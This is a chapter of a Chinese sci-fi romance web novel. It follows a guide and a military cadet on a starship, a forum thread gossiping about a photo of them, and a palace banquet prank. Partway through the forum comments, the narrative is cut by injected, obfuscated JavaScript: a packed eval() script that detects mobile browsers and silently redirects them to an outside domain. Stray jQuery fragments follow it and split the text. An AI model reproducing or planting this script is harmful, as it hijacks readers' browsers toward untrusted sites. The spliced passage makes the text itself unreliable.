祝霞光没说话，只是看着他，她忽然噗嗤一声笑了出来，一开始只是肩膀微抖，接着越笑越厉害，几乎弯下腰去，眼角都沁出点生理性的泪水。


    太像了。这场景荒诞得让她忍不住。


    她看着陆凌昭手忙脚乱遮身体的样子，脑子里不受控制地幻视白霄。


    那个一丝不苟、洁癖到变态的白霄，拿着拖把，皱着眉，嫌弃地拖着帝国军校的地板。


    然后画面一跳，白霄穿着他那身价格抵得上小型舰艇的高定西装，开着他那全帝国顶级配置的限量版涂装豪车去送外卖，穿行在首都星的车流里，表情依旧冷得像去参加军事会议。


    最后画面定格在白霄停下他那辆限量版悬浮豪车，车窗落下，递出一份外卖，还对客户矜持地点点头……


    哈哈哈哈哈哈！


    她笑得止不住，扶着墙，喘不过气来。


    陆凌昭被她笑得莫名其妙，那点羞恼变成了真实的怒气：“喂！有什么好笑的？！”


    祝霞光好不容易止住笑，擦了擦眼角，声音还带着笑意：“没，就是觉得，你好像，嗯……”


    她上下打量他，“好像落后星球部落里，养着吃剩饭的野狗。”


    陆凌昭脸色一黑：“……你这样混蛋的大小姐，见过部落和野狗吗？”


    祝霞光挑眉，嘴角噙着笑，语气轻松却笃定：“我不但见过，还养过呢。”


    “养过野狗？”陆凌昭嗤笑，明显不信。


    “都养过，”她轻描淡写，“部落，和野狗。”


    陆凌昭显然觉得她在吹牛，哼了一声：“哈？给慈善机构捐款可不算养。”


    祝霞光只是笑了笑，没再接话。


    她心情莫名好了起来，习惯性地摸出烟盒，抽出一支细长的烟，叼在淡色的唇间，抬眼看他，含混地问：“介意不？”


    陆凌昭看着她。


    她就那样随意地站着，眉眼间带着点慵懒和漫不经心，他喉结滚动了一下，撇开视线：“完全不介意。”


    然后，陆凌昭看着她点燃烟蒂，猩红的光点在略显昏暗的角落明明灭灭，勾勒出她侧脸利落又脆弱的线条。


    他看得有些发怔，视野边缘那该死的粉红色弹幕又不合时宜地跳了出来，带着令人脸热心跳的详细描写：


    【他看着她淡色的唇瓣衔着细长的烟，忽然伸手夺过那支烟，熟练地吸了一口，随即俯身，将混合着烟草味的灼.热呼吸渡入她的口中……】


    陆凌昭喉结不自觉地滚动了一下，感觉脸颊有点发烫，猛地别开视线，清了清嗓子，试图驱散脑子里那些荒唐的画面。


    “喂，”他声音有点干涩，“给我也来一支。”


    祝霞光挑眉，似乎觉得有些意外，从那看起来平平无奇的烟盒里又磕出一支，递给他。


    陆凌昭接过，学着她的样子叼在嘴里，点燃了火。


    “咳——！咳咳咳！！！”


    第一口吸得太猛，辛辣的烟雾猛地灌入喉咙，呛得他瞬间弯下腰，眼泪都快飙出来了，完全没了刚才那点旖旎心思。


    祝霞光看着他狼狈的样子，很不给面子地嗤笑出声，“不会抽就别逞强，小屁孩。”


    陆凌昭呛得脸红脖子粗，却再不敢贸然尝试第二口，只捏着那支烟，看着它静静燃烧。


    ......


    然而，终端提示音响起，属于祝霞光的官方频道，阿瑞蒙的通讯请求执着地闪烁着。


    祝霞光皱起眉，脸上掠过一丝清晰的不耐烦。她看也没看，直接划掉通讯，顺手设置了静音。


    “吵死了。”她低声抱怨了一句，像是说给陆凌昭听，她揉了揉眉心说，“我有点困了，在这儿靠会儿。要是有人过来，记得叫醒我。”


    从主星到任务星有七个小时的航程，这才刚开始不久。陆凌昭看着她眼下的淡淡青黑，点了点头：“行，你睡吧。”


    祝霞光似乎真的累极了，也没再多说什么，往后靠了靠，找了个相对舒服的姿势，闭上眼睛。


    几乎是几个呼吸间，她的呼吸就变得均匀绵长，竟是秒睡。


    陆凌昭靠在另一边，看着她毫无防备的睡颜，褪去了清醒时的锐利和嘲讽，她看起来异常安静，有些柔软。


    陆凌昭想，向导都这样能睡吗，似乎一看到她，都是这样一副昏昏欲睡的样子，明明年纪轻轻的就那么没精神。


    她长长的睫毛在眼下投下一小片阴影，几缕黑色的卷发黏在颊边，让他不得不再次承认，这位图书管理员学姐长得真是过分好看了。


    星舰航行在稳定的跃迁通道中，舱内信号隔绝。但这并不妨碍终端的本地功能。


    鬼使神差地，陆凌昭抬起手腕，调整角度，悄悄拍了几张她和自己的合照。


    照片里，她安静地睡着，他则侧头看着她，背景是冰冷的金属舱壁，构成一种奇异又和谐的画面。


    他挑选了其中看起来最自然的一张，犹豫了一下，配了一个简单的爱心符号，设置了“有信号时自动发送”到自己的私人社交账号上。


    做完这一切，他像是完成了一个恶作剧，有点心虚，又有点隐秘的期待。


    她要是看到了，会不会生气？


    如果没反应是不是就等于默认了？


    算了无所谓了，发现了也不过顶多就被骂两句，反正自己没脸没皮惯了。


    他胡思乱想着，目光再次落回祝霞光脸上。


    几乎没有过多久，他手腕上的终端极其轻微地震动了一下，不是通讯，而是特别关注人的动态提示。


    他低头一看，心脏猛地一跳。


    那条刚刚发布、配图是他和祝霞光合照的动态下方，一个极其简略的ID“J.S”点了一个赞。


    陆凌昭的后背瞬间冒出一层细密的冷汗，他怎么会看自己的发布动态？还点赞了？


    他点开与江申的私聊界面，和他没话硬扯：「江哥，这个时间点了，您是不是快到帝国主星了？」


    对面回复得极快：「。」


    一个句号。


    陆凌昭挑眉，试图解读这高深莫测的回应。


    然而，下一秒，江申的下一条消息紧随而至：「删掉。」


    陆凌昭：！！！


    操哦，这土皇帝管这种事干嘛，发个动态还让人删，真是神经病。


    但他手指比脑子动得更快，立刻切回社交界面，以最快速度删除了那条动态。


    「删掉了，江哥！」


    ......


    李胤慎百无聊赖地划拉着终端屏幕，看向车窗外。


    窗外是皇家奢侈壮美的宫殿，灯火辉煌透过悬浮车的车窗，流淌在他造价不菲的宫廷礼服上。


    还没有到他下车的时候，李胤慎翻了翻自己通讯小号，两个小时前发给“玻璃糖”的消息，依旧石沉大海。


    为了打发这令人胸闷的等待，他又切进了帝国匿名吃瓜论坛的灌水区。


    下一秒，一个飘红加hot的帖子就撞进了他眼里。


    《笑死，早年精神小伙BX与纯善遮瑕膏：有图有真相！！！》


    李胤慎眉梢一挑，点了进去。


    主楼直接甩出一张高清照片：背景像是星舰某个偏僻的货舱通道，金属墙壁泛着冷光。


    一个穿着帝国军校制服、挑染着几缕白发的年轻小伙正在镜头前，露出半张侧脸。


    而他旁边，一个穿着简单常服、墨色卷发随意挽起的女人正倚着墙睡觉。拍摄距离有点远，女人的面容不算特别清晰，但李胤慎的瞳孔几乎是瞬间就缩紧了。


    祝霞光。


    而她旁边那个小子……李胤慎眯起眼，放大图片仔细看。那眉眼轮廓，活脱脱一个年轻版，狂野版的精神白霄。


    底下的评论早已炸开了锅，刷新速度快得惊人：


    「1L」：纯困遮瑕膏和精神bx，不过感觉太假了吧，怎么可能是那俩人，跟搞抽象一样。


    「2L」：AI生成。


    「3L」：回复2L：不像AI。我是帝军学生，这男的我有印象，而且看截图是他自己拍了发社交平台上，他是三年级战斗系新来的转校生，据说潜力SSS，但人真的装，天天打架和被打，那张脸懂得都懂，也许真和祝校长有点什么也说不准～


    「4L」：孩子们醒醒，这不是我B霄，这是黑霄！


    「5L」：哈人！不愧是帝国第一向导，遮瑕膏在私生活方面也要给全体向导做表率吗？


    「6L」：楼上阴阳怪气什么？向导怎么了？现在向导多宝贵！遮瑕膏就bx一个丈夫已经很对得起他了好吗！她就算找十个八个怎么了？


    「7L」：回复5L：bx粉丝？赛博大婆教能不能收收味～


    「8L」：笑死，之前论坛里一个个喊老师老婆喊得欢，真看到人可能泡小学弟了又集体破防？双标还是你们会玩。


    「9L」：他们主任妈妈泡别人不泡自己肯定破防呗！估计遮瑕膏泡一百个都泡不到他，自己长得丑没人爱，能不急吗？


    「10


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422243|184582||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    L」：遮瑕膏还吃代餐？


    ......


    李胤慎看得嘴角抽搐，有点想笑。


    他手指飞快地截图，尤其把那张遮瑕膏和黑霄的照片单独保存下来，然后把论坛帖子转给玻璃糖。


    「胤：给你看个有意思的。」


    但刚发出去没几秒，再一刷新，整个帖子瞬间变成了【404NotFound】。


    “切，没劲。”李胤慎撇撇嘴，就知道会这样。


    也不知道是不是白霄授意，帝国的舆情管控部门养得跟遮瑕膏孝子一样，在删祝霞光的黑帖时效率高得惊人。


    但他只是看了一会就不看了，因为皇家主场的接风宴即将开始，第二天还有一场名为“边境星系资源统筹与安全协作”的友好会议。


    名字冠冕堂皇，实则不过是战后利益再分配的幌子。


    他刚下车，鎏金铺就的宫门前，宾客正三三两两聚在一起低声交谈，他才站定，便有数人恭敬地迎上来行礼，姿态谦卑，眼神却各有盘算。


    李胤慎是帝国的皇太子，虽皇权式微，老皇帝常年隐居深宫、不涉政务，由内阁大臣辅佐他代理国事，但李胤慎仍是帝国明面上的象征与权力纽带。


    这次预期的会议，正是由他作为名义上的发起人。


    会议打着“促进帝国与边缘星系协同发展”的旗号，实则是要将四位掌管边远星系的“行商浪人”召至主星，重新划分战后势力范围、敲定税收与驻军协议。


    帝国与边远星系向来联系疏淡，帝国倚仗的是绝对领先的科技与军事力量。


    而对边缘地带，只要他们按时纳税、不公然造反，帝国也懒得管他们，乐得睁一只眼闭一只眼。


    四位行商浪人代管着广袤而荒凉的星域，平日极少踏足帝国主星，能与主星权贵齐聚一堂的机会更是稀少。


    李胤慎一眼就看见了江申，他是四人中最显眼的一个。


    江申比他大了7岁，以顶级哨兵的身体素质，他正值壮年，但看上去却依旧年轻。


    战争期间，因其辖地正处于人虫战场交界，他的私军参战最多，损失最惨，却也攫取最丰。


    李胤慎瞥了他一眼。


    这位掌管边缘星系的“行商浪人”总督，他身量极高，面容成熟又英俊，并未穿着帝国常见的礼服或军装，而是一身改良过的东方古典制式长袍，玄色为底，银线绣着繁复古老的星图与流云纹路。


    他灰白色的长发并未精心打理，只随意用一根深色发带束在脑后，宛如野狼粗硬蓬松的尾巴，这让他看起来不像来参加国宴，倒像是刚从某艘星盗船上踱步下来的劫掠者。


    最扎眼的是他腰间佩戴的那把武器，一把造型古雅的□□，枪身同样雕刻着华丽的纹路。


    一名侍从官正站在江申面前，姿态恭敬得近乎卑微，低声劝说着什么。


    距离稍远，李胤慎听不清具体内容，但猜也猜得到，无非是宫廷规矩，严禁携带武器入内，怕顶级哨兵一不小心激素上脑，带着武器直接321大扫射，这帝国就直接完犊子了。


    然后，他看到江申笑了。


    他似乎对侍从说了句什么，紧接着，就在侍从惊恐的注视下，抬手、举枪。


    “砰——！”一声爆响撕裂了宴会厅虚伪的和谐！


    没有弹片，没有杀伤，只有漫天璀璨的金色闪粉如同微型烟花般炸开，簌簌落下，形成一片短暂而炫目的金粉雨幕。


    而这阵刻意为之的“金雨”，不偏不倚，正好将刚端着一杯酒、面无表情准备走向另一侧的白霄罩了个正着。


    细碎的金粉落在他一丝不苟的黑发上，冷白的脸颊上，挺括的肩章上，飘飘扬扬，落进了他手中那杯澄澈的酒液里，瞬间给昂贵的佳酿蒙上了一层廉价的浮光。


    白霄的脚步顿住了。


    李胤慎真忍不住笑了一声，呦，真枪里装玩具弹，还挺会玩。


    此时，那个有严重洁癖、强迫症到变态的男人白霄，正盯着杯中那杯混合了金色闪粉的液体，眼神冷冽。


    周围几个原本想上前寒暄的宾客瞬间噤若寒蝉，下意识退开半步。


    而罪魁祸首江申，此时才像是刚刚完成一个无伤大雅的小玩笑，慢悠悠地踱步到白霄面前。


    “白霄阁下，许久未见，别来无恙？”他开口寒暄，语气熟稔得仿佛多年老友，暗金色的瞳孔里却闪烁着毫不掩饰的戏谑。


    他微微倾身，声音不高：“怎么总是见不着祝上将呢？她是在躲着我吗？”